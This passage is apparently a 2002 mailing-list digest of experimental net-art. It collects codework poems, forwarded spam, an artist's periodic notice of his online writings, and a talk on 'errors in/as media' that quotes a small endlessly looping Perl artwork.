idaho.etrafficers.com>\nDelivered-To: blackhawk {AT} thing.net\nReturn-Path: <idaho {AT} idaho.etrafficers.com>\nDelivered-To: webmail.thing.net-blackhawk {AT} webmail.thing.net\nReceived: (qmail 31250 invoked from network); 24 Nov 2002 01:30:28 -0000\nReceived: from thing.net (209.227.54.3)\n  by the.thing.net with SMTP; 24 Nov 2002 01:30:28 -0000\nReceived: from johnson.mail.mindspring.net (johnson.mail.mindspring.net [207.69.200.177])\n\tby thing.net (8.11.6/8.11.6) with ESMTP id gAO1NwI06591\n\tfor <blackhawk {AT} thing.net>; Sat, 23 Nov 2002 20:23:58 -0500\nReceived: from bissell.mail.mindspring.net ([207.69.200.198])\n\tby johnson.mail.mindspring.net with smtp (Exim 3.33 #1)\n\tid 18FlbO-0001qo-00\n\tfor blackhawk {AT} thing.net; Sat, 23 Nov 2002 20:30:26 -0500\nX-MindSpring-Loop: pterseus {AT} mindspring.com\nReceived: from idaho.etrafficers.com ([128.121.224.100])\n\tby bissell.mail.mindspring.net (Earthlink Mail Service) with ESMTP id 18fLBo3I63Nl3rE0\n\tfor <pterseus {AT} mindspring.com>; Sat, 23 Nov 2002 20:30:26 -0500 (EST)\nReceived: (idaho {AT} localhost) by idaho.etrafficers.com (8.11.6) id gAO1UNl63838; Sat, 23 Nov 2002 18:30:23 -0700 (MST)\nDate: Sat, 23 Nov 2002 18:30:23 -0700 (MST)\nMessage-Id: <200211240130.gAO1UNl63838 {AT} idaho.etrafficers.com>\nTo: pterospermous {AT} schwartz.com, pterpan {AT} netscape.net, pterr3 {AT} msn.com,\n   pterra {AT} netscape.net, pterrace {AT} bigfoot.com, pterrell {AT} geocities.com,\n   pterrigno {AT} netscape.net, pterrill {AT} netscape.net, pterry2521 {AT} netscape.net,\n   pterry4524 {AT} netscape.net, pterry {AT} adelphia.net, pterry {AT} clds.net,\n   pterry {AT} enteract.com, pterry {AT} flash.net, pterry {AT} jps.net,\n   pterrydactyl {AT} netscape.net, pterseus {AT} mindspring.com, pterwee {AT} netscape.net,\n   pterwil1 {AT} netscape.net, pterwill {AT} netscape.net, pterygota {AT} bellsouth.net,\n   pteryx {AT} home.com\nFrom: gmorris {AT} erols.com ()\nSubject: DWG Needed! 4622\nX-Spam-Status: No, hits=4.9 required=7.0 tests=SUSPICIOUS_RECIPS,VERY_SUSP_RECIPS,PLING,SUBJ_HAS_UNIQ_ID version=2.20\nX-Spam-Level: ****\nX-Mozilla-Status2: 00000000\n\nHello,\nIf you are a Time Traveler I am going to need the following:\n\n1. A modified mind warping Dimensional Warp Generator # 52 4350a series wrist watch with memory adapter.\n\n2. Reliable carbon based, or silicon based time transducing capacitor.\n\nI need a reliable source!! Please only reply if you are reliable. Send a (SEPARATE) email to me at: hornty1 {AT} email.com\n\npterospermousptepdejgihBbpWrZcLPyJ\n\nYou have received a Loan Application.  It was submitted by\n (gmorris {AT} erols.com) on Saturday, November 23, 2002 at 18:30:23\n---------------------------------------------------------------------------\n\neAmzczaPaf5048: gDDCnw aipjAnqF\n---------------------------------------------------------------------------\n\n\n\n--------------3DCA8E70B74E5B9657B04289--\n\n\n\nDate:         Wed, 27 Nov 2002 12:47:17 +0100\nFrom: Johan Meskens CS2 jmcs2              <JohanMeskensCS2 {AT} CHROMATICSPACEANDWORLD.COM>\nSubject: |   || \" || 27-11-2002-12:38 |_| 124664 3\" || purple||||||purple||||||black|||||red||orange||white 'white ~\" || a |\n\n|-ckhromaschine-||-5-k-0-h---N-o-h-----c-4-H-H-N-I-H-||-jmcs2-|\n|-H-R-N-M-e-r---I---R-i-M-| \" |\n|   || \" || 27-11-2002-12:38 |_| 124664 3\" || purple||||||purple||||||black|||||red||orange||white 'white ~\" || a |\n|   ||   ||   ||   ||   ||   ||\n|      pluraP      |      to      |      >      |      _      |      them      |      '{      |\n|      -      |      -      |      4      |      >      |      58      |      ce      |\n|      16      |      17      |      :::      |      50      |      ------      |      92      |\n|      5      |      _      |      81      |      >      |      25      |      -      |\n|               ----    \u0165 ::::::  i  ennnme ,   , , , , >, , someth\n|   -----------          >.the. > > _\u0179 \u0119\u00dcw ::yell ,          , pR, \\p, (, >, :, >\n|     -----------              \u017b\u017b\u017b\u017b\u017b\u017b | /di.r \u008e  ckgene ,    , .\u00e9\u016e, ., after, \", +\u00c1 \u0159,\n|------------                   > > ]117[ \u0082\u00b0\u0111z ------ 172 , 3cHIiH, :, , c\u0085, \u0095, ---NNA\n|  ----------                  \u02c7\u017d\u0154 1    anma, ,       , , i, , a|NA|~, coself, >\n|          -----        =sy #27 o ck:gre . > ,         , ||||||, '5', i, , , \u00eb\n|   \" .   [                                               ]\n|   \" 'A./ GLIDING SQUARE, a writing system\n|   \" a' ..      .      .      .      .      .      ..      w.3      ..      HEADERLANDSCAPE\n|   \" a' ..      .      .      .      .      .      ..      w.3      ..      HEADERLANDSCAPE\n|   \" a' ..      .      .      .      .      .      ..      w.3      ..      REPETITIONREPET\n|   \" a' ..      .      .      .      .      .      ..      w.4      ..      ITIONREPETITION\n|   \" \", [    | n.whit yellow > ___||_ blue is #a )acm(   ]\n|   \"      ..      ...      ....      .....      ......      .      nokodewerk.oncummonity.deinsidun .. outsigested\n|   ' \" I DECLARE THIS TEXT AS WORLD\n|   \"*   _, \" chromatisc unDD rauMM\n|---------------------------------------------------------------------[      BODYbodyasdeclarethisTEXT\n|---------------------------------------------------------------------[      TEXTTEXTworldiWORLDBODY\n|---------------------------------------------------------------------[      declareDECLAREWORLDTHISworldTEXT\n|---------------------------------------------------------------------[      declarethisWORLDtextIi\n|---------------------------------------------------------------------[      textbodyTEXTWORLDiAS\n|---------------------------------------------------------------------[      TEXTIworldDECLAREasDECLARE\n|   \" _\n|   \" _ availabilityramoccentRAar\n|   \" _ar.   \"    \"    \"    \"0=1\n|   \"       \"           \"   \" \"     \"               .. 1      CHROMATISCH UND RAUM         awritingsystem\n\n-E__________________________________most\n.___________________________________REPETIT\n1___________________________________NG\n1.__________________________________W\n11._________________________________do\n111_________________________________tiE\n1111._______________________________dn\n11111.______________________________declears\n111111______________________________LOOPE\n111111._____________________________ing\nA___________________________________declears\nACED________________________________tis\nALL_________________________________sdi\nALL.________________________________somen\nA_L_________________________________fone\nA_LOOPING___________________________rt\nA_LOOPING_S_________________________qith\nA_LOOPING_SPACED____________________DATABASE\nCITIED______________________________KI\nCLUSION_____________________________danc\nD___________________________________ve\nDATABASE____________________________tnoa\nDECLARATIO__________________________SL\nDECLARED____________________________intra\nDI__________________________________W_C_H_\nE___________________________________ei\nEA__________________________________deu-u\nEON_________________________________111111.\nEONEON______________________________sound\nER__________________________________danc\nETITION_____________________________tly\nEXCLUDED____________________________ei\nEXCLUSION___________________________midn\nF___________________________________and\nFOUR________________________________am\nG___________________________________CLUSION\nGH__________________________________h\nH___________________________________LOOPE\nI___________________________________MORPHING\nIFK_________________________________discontinuing\nIN__________________________________sound\nINCLUDE_____________________________OF\nINCLUDED____________________________DATABASE\nINCLUSION___________________________ondea\nINED________________________________ts\nINN_________________________________its\nINONE_______________________________{\nINTRANS_____________________________OPI\nIO__________________________________ONS\nION_________________________________sc\nIONS________________________________LOOPING\nIS__________________________________ner\nISN_________________________________SCAPED\nK___________________________________SL\nKI__________________________________CITIED\nKII_________________________________dance\nL___________________________________es\nLANDED______________________________declare\nLANDSCAPE___________________________avort\nLO__________________________________11111.\nLOOP________________________________will\nLOOPE________________________________\nLOOPED______________________________f\nLOOPI_______________________________111\nLOOPING_____________________________circular\nM___________________________________ular\nMORPHING____________________________sin\nN___________________________________OP\nNCLUDED_____________________________even\nNE__________________________________A_LOOPING_S\nNEON________________________________INTRANS\nNEON-E______________________________st\nNEONEON_____________________________SO\nNG__________________________________riev\nNON_________________________________ts\nNONE________________________________EXCLUSION\nO-NEO_______________________________RP\nOF__________________________________nd\nON__________________________________11111.\nONE_________________________________ISN\nONEONE______________________________ION\nONEONEONE___________________________LOOPING\nONS_________________________________SCAPED\nOOPING______________________________ALL\nOP__________________________________us\nOPI_________________________________INCLUDE\nOPING_______________________________IFK\nO_E_________________________________inserting\nPING________________________________REPETITIONED\nRA__________________________________IONS\nRE__________________________________most\nREPETIT_____________________________declears\nREPETITI____________________________en\nREPETITIO___________________________ONEONE\nREPETITION__________________________INCLUSION\nREPETITIONED________________________te\nREPETITIONINED______________________midn\nRLDEDING____________________________OF\nRP__________________________________soemn\nS___________________________________INONE\nSCAPED______________________________sint\nSENTENCED___________________________i\u013e\nSG__________________________________SCAPED\nSINONE______________________________tieh\nSL__________________________________sie\nSLJFO_______________________________stro\nSO__________________________________LO\nSPACED______________________________stirn\nT___________________________________tnoa\nTEXT________________________________ACED\nTEh_________________________________hre\nTHA_________________________________ttttt\nTHAT________________________________dance\nUNBAUMT.Dd__________________________mizn\nW___________________________________par\nWORDED______________________________111111\nWORLD_______________________________ts\nWORLDEDING__________________________rivien\nWORLDS______________________________m\nWRITING_____________________________set\nW_C_H_______________________________midn\nXT__________________________________se\n____________________________________text\n____________________________________opn\na___________________________________do\nabhor_______________________________vi\nain_________________________________al\nal__________________________________SL\nalj_________________________________int/E\nalmost______________________________io\nam__________________________________no\nami,________________________________WORLDEDING\namtion______________________________ttttt\nan__________________________________e\nand_________________________________without\nantho_______________________________sign\nanto________________________________INED\nas__________________________________PING\nasound______________________________tttttt\navort_______________________________unbaumt.Dd\nberlinment__________________________y\nc___________________________________cular\ncard________________________________unbou.au\nch__________________________________rienv\ncharacter___________________________rie\ncirc________________________________don't\ncircul______________________________ondea\ncircula_____________________________WORLDEDING\ncircular____________________________T\nclaration___________________________E\ncular_______________________________LANDSCAPE\ncurlaon_____________________________hi\nd___________________________________REPETITIONED\nda__________________________________ing\ndab.qd______________________________i\ndan_________________________________claration\ndanc________________________________O-NEO\ndance_______________________________v\ndane________________________________REPETIT\ndatabase____________________________dance\nde__________________________________PING\ndecal_______________________________database\ndeclar______________________________declears\ndeclaration_________________________none\ndeclare_____________________________innot\ndeclared____________________________soe\ndecleared___________________________ALL.\ndeclears____________________________decal\ndei_________________________________st\ndeu-u_______________________________os\ndiscontinuing_______________________INTRANS\ndn__________________________________nvenv\ndo__________________________________unbo\ndon't_______________________________unbou.au\ne___________________________________ttttt\nehso________________________________its\nei________________________________________\neiv_________________________________FOUR\nen__________________________________RP\nenv_________________________________u..\neon_________________________________c\ner__________________________________f\nere_________________________________p,\nes__________________________________NG\nev__________________________________es\neve_________________________________sta\neven________________________________NG\nevent_______________________________favor\nevno________________________________KII\nf___________________________________INCLUDED\nfan_________________________________SL\nfavor_______________________________L\nfea'r_______________________________ON\nfone________________________________IO\nfrea________________________________REPETITI\nh___________________________________RLDEDING\nhave________________________________most\nhe__________________________________SL\nhem_________________________________m\nhere________________________________hre\nhi__________________________________111111.\nhis_________________________________-E\nhor_________________________________par\nhre_________________________________nd\nhrer________________________________OF\nhs__________________________________TEXT\ni___________________________________no\nideclared___________________________SLJFO\nin__________________________________MORPHING\ninat________________________________umt.Dd\ning_________________________________declears\ninnot_______________________________EONEON\ninserting___________________________i\u013e\ninss________________________________A\nint/E_______________________________note\ninti________________________________stirn\nintra_______________________________WORLD\ninvanot_____________________________split\nio__________________________________INCLUDED\nircular_____________________________REPETITIO\nis__________________________________tis\nit__________________________________unbo\nits_________________________________WORDED\ni\u013e__________________________________INN\nlare________________________________several\nlinment_____________________________INTRANS\nlov_________________________________xt\nlove________________________________ideclared\nm___________________________________G\nmidn________________________________IONS\nmind________________________________WORLDS\nmizn________________________________its\nmodul_______________________________hrer\nmost________________________________war\nmp__________________________________dn\nmtion_______________________________os\nn___________________________________fea'r\nnd__________________________________rigi\nner_________________________________r\nnere________________________________a\nno__________________________________tiE\nnone________________________________circ\nnot_________________________________ISN\nnote________________________________anto\nnothing_____________________________hi\nnt__________________________________GH\nnto_________________________________so\nnvenv_______________________________THA\no___________________________________ami,\nod__________________________________tnoa\nof__________________________________i\non__________________________________IFK\noncirculra__________________________LOOPE\nondea_______________________________asound\none_________________________________lare\nonto________________________________sie\nonvenv______________________________text\nopn_________________________________tne\nos__________________________________favor\nosh_________________________________RA\nost_________________________________ION\not__________________________________INCLUSION\np,__________________________________IONS\npaper_______________________________text\npar_________________________________this\npon_________________________________de\nqith________________________________EONEON\nr___________________________________wo\nri__________________________________one\nrie_________________________________11.\nrienv_______________________________G\nriev________________________________ETITION\nrigi________________________________nt\nrisi________________________________}\nrisin_______________________________IS\nrivien______________________________midn\nrt__________________________________v\nrty_________________________________risin\nrugn________________________________XT\nrv__________________________________S\ns___________________________________tttttt\nsc__________________________________da\nsdi_________________________________oncirculra\nse__________________________________ther\nset_________________________________tra\nseveral_____________________________wo\nsie_________________________________t\nsign_________________________________\nsin_________________________________11111.\nsind________________________________tttttt\nsint________________________________is\nsit_________________________________SL\nsitn________________________________DECLARED\nsitting_____________________________eve\nsme_________________________________don't\nso________________________________________\nsoe_________________________________F\nsoemn_______________________________T\nsomen_______________________________LOOP\nsor_________________________________ular\nsound_______________________________opn\nsplit_______________________________cular\nst__________________________________L\nsta_________________________________n\nstemp_______________________________don't\nsteps_______________________________REPETITIO\nstirn_______________________________LANDED\nstorable____________________________ven\nstria_______________________________p,\nstro________________________________evno\nsund,_______________________________theis\nt___________________________________LOOPE\nte__________________________________und,\ntext________________________________sign\nth__________________________________hrer\nthe_________________________________int/E\ntheis_______________________________LANDSCAPE\nthem________________________________sor\nther________________________________H\nthere_______________________________sme\nthis________________________________he\nti__________________________________qith\ntiE_________________________________tne\ntie_________________________________usn\ntieh________________________________antho\ntin_________________________________IFK\ntion________________________________INTRANS\ntis_________________________________tion\ntly_________________________________.\ntne_________________________________dei\ntnoa________________________________RE\nto__________________________________NEON-E\nton_________________________________onto\ntra_________________________________rt\nts__________________________________od\nttttt_______________________________ton\ntttttt______________________________the\nu.._________________________________opn\nular________________________________sor\numt.Dd______________________________rv\nun__________________________________to\nunbaumt.Dd__________________________ei\nunbo________________________________character\nunbou.au____________________________O-NEO\nund_________________________________ALL\nund,________________________________curlaon\nus__________________________________ION\nusn_________________________________i\u013e\nutn_________________________________L\nv___________________________________declar\nve__________________________________tie\nven_________________________________ver\nvenot_______________________________SL\nver_________________________________tieh\nvi__________________________________will\nvieit_______________________________rty\nwar_________________________________of\nwe__________________________________SG\nwi__________________________________XT\nwill________________________________GH\nwilne_______________________________A_LOOPING_S\nwith________________________________them\nwithout_____________________________rigi\nwo__________________________________somen\nwritten_____________________________will\nxt__________________________________c\ny___________________________________theis\n{___________________________________he\n|___________________________________A_LOOPING\n}___________________________________tra\n\n\n\n\n\n.\n\n\n\n\nFrom: pascale gustin <gustin.pascale {AT} free.fr>\nSubject: iro    N      iqu-e\nDate: Thu, 28 Nov 2002 23:45:32 +0100\n\nc-e s----------------------------witch\n          -[ilence]\n                 -on/.oFF\n     -t-l-es:d-\n      a-t-||||\n                     .iFF\n---->(t)        e rEnts no+euds\n                          -d\n\nundesprem-iersyst\u010dmed\u00e9cr-iturees-t\nl\u00e9critu-remn\u00e9mote-chniq-ueetsynth\u00e9t\n\n\n\n                           iro    N      i [c] qu-e\nde co(lors)\n    f----+---ar:be)ul.e\\urs\n      w\nqui pROv------------->\n---------O[que]nt l\n                     e\n                     s-ens/sne->\n                              <-\n                             <-\n                            <-\n                              ->S\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nFrom: Alan Sondheim <sondheim {AT} panix.com>\nDate: Tue, 26 Nov 2002 00:59:26 -0500 (EST)\nSubject: periodic note\n\n\n\n\n===\n\n\nInternet Philosophy and Psychology -                             11/26/02\n                                                       (last was 08/02/02)\n\n\nMy recent work has been dealing with sexuality, terror, death, windows\nonto worlds, the confluence of subtropical nature with subsumption neural\narchitectures. I have also been working on a series of 3D animations\n(mixed with real-life video), pieces exploring the same themes in extreme\nor extended spaces. An extended video, Trilby, was produced; more recent\nvideos include a Scan series, and Alberta.mov. (All available reduced on\ncdrom.)\n\n\n===\n\n\nThis is a somewhat periodic notice describing my Internet Text, available\non the Net, and sent in the form of texts to various lists. The URLs are\nhttp://www.asondheim.org and http://www.anu.edu.au/english/internet_txt/\nwhich is partially mirrored at\nhttp://lists.village.virginia.edu/~spoons/internet_txt.html.\n\nSee http://www.asondheim.org/portal/ for new video/imagework; please note\nthis is for over-18/\n\nThe changing nature of the email lists, Cybermind and Wryting, to which\nalmost all of the texts are sent individually, hides the full body of the\nwork; readers may not be aware of the continuity among them. The writing\nmay appear fragmented, created piecemeal, splintered from a non-existent\nwhole. On my end, the whole is evident, the texts extended into the lists,\npartial or transitional objects.\n\nSo this (periodic) notice is an attempt to recuperate the work as total-\nity, restrain its diaphanous existence. Below is an updated introduction.\n\n-----\n\nThe \"Internet Text\" currently constitutes around 100 files, or 10,000\nprinted pages. It began in 1994, and has continued as an extended\nmeditation on cyberspace, expanding into 'wild theory' and literatures,\nsymptomologies of the edge.\n\nAlmost all of the text is in the form of short- or long-waves. The former\nare the individual sections, written in a variety of styles, at times\nreferencing other writers/theorists. The sections are interrelated; on\noccasion emanations are used, avatars of philosophical or psychological\nimport. These also create and problematize narrative substructures within\nthe work as a whole. Such are Susan Graham, Julu, Alan, Jennifer, Azure,\nand Nikuko in particular.\n\nThe long-waves are fuzzy thematics bearing on such issues as death,\nsexuality, virtual embodiment, the \"granularity of the real,\" physical\nreality, computer languages, and protocols. The waves weave throughout the\ntext; the resulting splits and convergences owe something to\nphenomenology, programming, deconstruction, linguistics, philosophy and\nprehistory, as well as the domains of online worlds in relation to\neveryday realities.\n\nOverall, I'm concerned with virtual-real subjectivity and its manifesta-\ntions. I continue working on a cdrom of the last eight years of my work\n(Archive), as well as a series of 3d animation and other videos, some of\nwhich are on cdrom.\n\nI have used MUDS, MOOS, talkers, perl, d/html, qbasic, linux, emacs, vi,\nCuSeeMe, etc., my work tending towards embodied writing, texts which act\nand engage beyond traditional reading practices. Some of these emerge out\nof performative language - soft-tech such as computer programs which _do_\nthings; some emerge out of interferences with these programs, or conversa-\ntions using internet applications that are activated one way or another.\nAnd some of the work stems from collaboration, particularly video, sound,\nand flash pieces.\n\nThere is no binarism in the texts, no series of definitive statements.\nVirtuality is considered beyond the text- and web-scapes prevalent now.\nThe various issues of embodiment that will arrive with full-real VR are\nalready in embryonic existence, permitting the theorizing of present and\nfuture sites, \"spaces,\" nodes, and modalities of body/speech/community.\n\nThe texts are roughly in the order written; the last-entered at the moment\nis mq. They may be read in any order, and distributed in any medium;\nplease credit me. I would appreciate in return any comments you may\nhave.\n\nFor information on the availability of cdroms containing the text and\nother materials (graphics, video, sound, articles, books), see the appen-\nded notice below.\n\nYou can find my collaborative projects at\nhttp://trace.ntu.ac.uk/writers/sondheim/index.htm and my conference\nactivities at http://trace.ntu.ac.uk - both as a result of my virtual\nwriter-in-residence with the Trace online writing community.\n\nSee also:\n.echo, Alt-X, e-book and publish-on-demand, 2002\nBeing on Line, Net Subjectivity (anthology), Lusitania, 1997\nNew Observations Magazine #120 (anthology), Cultures of Cyberspace, 1998\nThe Case of the Real, Pote and Poets Press, 1998\nJennifer, Nominative Press Collective, 1997\n\nAlan Sondheim 718-857-3671 or 718-813-3285 (US)\n432 Dean Street, Brooklyn, NY, 11217\n\n--------------------------------------------------------------------------\n\nCDROM Offering: Alan Sondheim : Collected and Newly-Released Work:\n\nArchive 4.5: This includes all the texts from 1994- present, a number of\nolder articles, several books, a great number of images, some short video,\netc. Archive is continuously updated. There is also sound-work and some\nprogramming. I think of this as the \"basic\" cd-rom; if you have an earlier\ncopy, you might want to update. $ 12.00 including shipping.\n\nOther cdroms include new video/sound/image/text - please contact me for\ndetails.\n\n\n\n \n\nYour use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/ \n\n\n\n\n\n\nFrom: pascale gustin <gustin.pascale {AT} free.fr>\nSubject: [e-e]xpression\nDate: Fri, 29 Nov 2002 19:15:15 +0100\n\nseulement cette seul[e-e]xpression cette        [e-e]\n\ncette^::::::::::::::::::^ seu\\_\\le-ment^\nmais je ne sais pas si c;est \u00e7a vraiment\ncette parole n'est-elle l\u0155 vraiment l\u0155\nn'est-elle vraiment L`A                        ::::::::::\n\n::::::::::::::::::::::++++n'est-elle ParO[die]LE      dea(LE)d words\n\n\nsEUL--------------------------------------->/mEnt\n\nmais je ne sais pas si c est \u00e7a vraiment\nsi cette parole n'est vraiment l\u0155\nReading directory /home/pascale/...done\nReading directory /home/pascale/ARCHIVES/...done\nAuto-saving...do------------------------------ne\nAuto-saving...do------------------------------ne\nAuto-saving...do------------------------------ne\nAuto-saving...do------------------------------ne\nAuto-saving...do------------------------------ne\nAuto-saving...do------------------------------ne\nAuto-saving...do------------------------------ne\nAuto-saving...do------------------------------n-ot\nAuto-saving...do------------------------------n-e\nAuto-saving...do------------------------------ne\nAuto-saving...do------------------------------ne\nAuto-saving...do----------------------------- ne\nAuto-saving...do----------------------------- ne\nAuto-saving...do------------    ------------- ne\nAuto-saving...d-------------    -------------------one+++more++tim-e\nAuto-saving...do------------    ------------- ne\nAuto-saving...do----------------------------- ne\npour se rep\u00e9ter elle-m\u0119me++++indefiment\nquelquechose qui tourne et qui troue je n][e ]s[h\\.ais pas\njE ne sais pAs-sI c^est \u00c7a\nAuto-saving...done\nAuto-saving...done\nWrote /home/pascale/ARCHIVES/m.me++++indefiment.tXt\njE ne sais pAs-sI\n\n\n\n\n\n\n\n\n\n\n\n\n\nhttp://www.atelierblanc.net/p-gustin/02atelier/action01.htm\nhttp://www.atelierblanc.net/p-gustin/02atelier/action02.htm\n\nhttp://www.atelierblanc.net/p-gustin/02atelier/cadre1.htm\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nDate: Tue, 26 Nov 2002 01:44:51 +0100\nSubject: an artefact for interfiction IX (arteFaction! errors in/as media. Kassel, November 15th-17th, 2002)\nFrom: mi_ga {AT} o-o.lt\n\n\ncopy&paste commands, or: how machines make art\n\n\nI beg your pardon for my English. It is not perfect yet. Today I want to\nsay a few words about errors in/as media. These thoughts are rather\nartistic than theoretical. At first, I would like to quote William S.\nBurroughs. His ELECTRONIC REVOLUTION begins as follows:\n\n\"In the beginning was the word and the word was god and has remained\none of the mysteries ever since. The word was God and the word was\nflesh we are told. In the beginning of what exactly was this beginning\nword? In the beginning of WRITTEN history.\"\n \nIn 'GARDEN OF EDEN', he further elaborates on his theory that the\nwritten word was a virus which presumed the spoken word. So the written\nword got declared a basis of the further development of consciousness.\n\nMy thoughts and reasonings about errors in/as media are related to\ncomputing machines whose functional basis is the written word.\nComputers allow easy copy&paste operations.\n\nThey allow us to compute correct tasks as well as intentionally\nmisleading ones.  Exactly at this point, new media become interesting for\nartistic expression.\n\nI therefore would like to turn the title of this panel upside down\nbecause that shows better what it's about. The title should be: \n\nMedia in/as Errors\n\nIn other words, I regard media as activities which produce imperfection.\nIf we try to follow the history of art, we see a striving for\nperfection. Similar striving can be observed in other fields. My concern\nare the computing machines which these days we call PCs.  With that\nword, we mean the tool that delivers a perfect output. But one can\nobserve as well that the machine is very frequently being used to\nproduce uselessness. Or the machines don't function as we wish. In some\ncases it might happen that information disappears.  Francis Hunger's\nlecture, which you just heard, was about a phenomenon that can hardly\noriginate in a sane consciousness, black holes in the Internet. Another\nphenomenon that should be mentioned here is the realm of the virus.\nSuch artists as jodi (www.jodi.org) or jimpunk (www.jimpunk.com)\nuse the copy&paste function to emphasize the realm of the virus. What\nthey produce later looks like unconscious computations or disrupted\nprograms. How do we use the tools which new media offer us? If you\nbeomce a permanent user of these tools, the result is\n\nAutomatization\n\nThe artworks produced by machines often don't fit into the modes of\nperception of human beings. They should be prepared to understand the\noutput. The best way is acquired experience with these tools, and\nself-automatization.\n\nOpen. Cut. Move the cursor. Copy and paste. Or simply paste. Turn it\naround. Resize it. Copy. Open. Select all. Delete. Paste. Paste. Move\nthe cursor to the beginning. Type: #!/usr/bin/perl.  Press delete. Type\na colon, 'w', 'q' and '!'. Go back. Type Perl [filename]. Press ctrl+c.\nOpen. File. Correct it. Turn everything by 180 degrees. Add mor sources.\nErrors. Comment a few lines. Change the values. Open Google. Search.\nDownload. Copy and Paste. Correct. Think. Add some occasional commands.\nAdd some replaced commands. Add sendmail. Save. Play. Copy and paste. Or\nCut and paste. Transform. Flip horizontally. Transform. Flip vertically.\nTurn it to right. Highlight. Cut it out. Paste. Turn it to left. Copy.\nPaste. Wait. Wait. Correct. Save.\n\nThe Perl compiler will probably return the error 505. But if we tried to\nmake ourselves conscious of the above operations, we could produce some\ninteresting results. We get, for example, very beautiful forms like in\nconcrete poetry. Sometimes, the programs we have written will actually\nwork. I now would like to show you one of the works of trashconnection\nthe title of which is\n\ncontent-type\n(You can find it under http://content-type.trashconnection.com)\n\nThe program looks as follows:\n\n#!/usr/bin/perl -w\n# neverending search for the highest number\n# created for the future\nprint \"content-type: text/html\\n\\n\";\nfor ( $a=int(rand 1000000); $a>0; $b=$a*$a+$b ) {\nprint \"<font face=courier>$a\\n$b\\n\";\n}\n\nThis program has been written with an intentional error so that the Perl\ncompiler calls up a variable entity $n in an endless loop. This variable\nentity $b is a number which gets added and multiplied with itself. No\ncomputing machine could terminate the program since of course there is\nno infinite number. The program runs like a written virus. The first\nrandomly generated number, one out of one million, becomes the trigger\nof an infinite chain. So an ever-new artwork appears on the screen of\nthe computer.\n\nWith this work I would like to make a full stop to my description\nsomewhere between the unconscious machinery and conscious creation...\n\nThank you.\n\np____________o____________s_____________t\na       r       c       h       i       v       e   http://www.o-o.lt/post\n\n\n[Translation from German by Florian Cramer]\n\n\nDate: Mon, 25 Nov 2002 18:03:52 -0500\nSubject: Two New Pieces\nFrom: Daniel Young <danny {AT} miltonglaser.com>\n\nDICTART #1\n\nThe Genesis  (team James version)\nChapter One\n1. In the beginning God created they have in the earth.\n2. And the earth was without form, and Floyd; and darkness was among the\nface of the deep. And the spirit of God won't have on the face of voters.\n3. And God said, let them in light; then there was light.\n4. And got so the lights, that was good; and undivided the light from the\ndarkness. \n5. And got cold light day and the darkness he called manic. And the evening\nand the morning with the first day.\n\n\n\nFrom: diocletian {AT} visi.com (Karl Petersen)\nSubject: (no subject)\nDate: Wed, 27 Nov 2002 10:00:54 -0600 (CST)\n\n                                        x\n                                        `\n                                        `\n                                        #\n                                  /#\\l`//\n                                  \\q#j m/\n                                    `\n                                    #  /\\\n                                    x  ~j\n                                    m~qj\n                                       #\n                                       #\n                                    l\\``\n                                   /~`~/\n                                   x `qk   \n                                   \\qj\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nDate: Wed, 27 Nov 2002 12:05:12 -0600\nFrom: Harrison Jeff <worksonpaper01 {AT} HOTMAIL.COM>\nSubject: R.Mutt and Jeff\n\nselected words observable                          | \"phenomena's\nobservable memory leaf                             |  plasticity\"\ncontinuous discrete recursives frame representations\nleaf notes the relapse calculated & collected\nleaf solution measures Omega-Objects\ncognitive structure a direct zero\nrepeating identical moieties with deformation\nTrollope's trope toll fracture's continuum theory\n\n\n\n\n\n\nFrom: Karl Petersen <diocletian {AT} visi.com>\nSubject: Re:  found poetry:  \"MSNBC Health News\"\nDate: Tue, 26 Nov 2002 22:56:46 -0600 (CST)\n\nAt 22:20 on Nov 26, blackhawk reasoned:\n\n> > Sex 138 times a year is U.S. average\n\n    If you're going to build a static perl binary, make sure perl is installed\n    otherwise ignore this warning\n\n> > Mold a growing problem in schools\n\n        \"If only there could be time enough to read it all.\"\n\n> > Herb makers cash in on menopause\n\nI think I have it sussed.  I am using daemon tools to create virtual drives.\n\n> > More blacks distrust medical system\n\n\"We found that we could detect and stop the Nimda virus within a quarter of a second of the virus trying to start transmitting itself,\" he said.\n\n> > Should we eat like cavemen?\n\n(host 211.245.234.195[211.245.234.195] said: 451 Command parser Processing error)\n                                         photo2 {AT} canmail.net\n> _______________________________________________\n> _arc.hive_ mailing list\n> _arc.hive_ {AT} lm.va.com.au\n> http://lm.va.com.au/mailman/listinfo/_arc.hive_\n> This list is proudly supported by VA. http://www.va.com.au\n\nKill is control-U (^U).\nInterrupt is control-C (^C). host.\n$ news .procmailog\nReading config file...\n$\nA host name was found but not a IP address.\n\n\n-- \nWith only one line it's a trivial thing to check for matching quotation marks.\n\n\n\nFrom: \"][mez][\" <netwurker {AT} hotkey.net.au>\nSubject: sig [pro]phile\nDate: Thu, 28 Nov 2002 19:43:48 -0800\n\n\n\n\n# leech-fed thru a sat(yr)urated usa-nose\n# non-depthness vs deep.lidded disease\n# t.his place is (unl)awful\n\n# rod straight + burdened with ox breaking\n# no1 breathes here\n\n# lip[id] synch vs pro.gramme[d]r sign language\n# row C blasting out of 4-w.heel.driver mouths\n\n# shot-thru-with-genda-[fo]cussing\n# greet testosterone with covert gr[ch]ins\n\n\n\n\nsig phile:\n--\n[attention: please fleece]\n[goo-sipping thru a m.uted screen]\n[s.hit.kicker stat[e].us.]\n-- \n\n\n\n\n\n\nnettime unstable digest vol 23\nSun Dec  1 19:18:14 2002\n\n\nSubject: contents:\n    From: Alan Sondheim <sondheim {AT} PANIX.COM>\n\nSubject: w[fr]eight[ed] p[e]lastic corridors\n    From: \"][mez][\" <netwurker {AT} hotkey.net.au>\n\nSubject: Ran\n    From: \"John M. Bennett\" <bennett.23 {AT} OSU.EDU>\n\nSubject: [Fwd: DWG Needed! 4622] {inscrutable spam}\n    From: Peter von Brandenburg <blackhawk {AT} thing.net>\n\nSubject: |   || \" || 27-11-2002-12:38 |_| 124664 3\" || purple||||||purple||||||black|||||red||orange||white 'white ~\" || a |\n    From: Johan Meskens CS2 jmcs2              <JohanMeskensCS2 {AT} 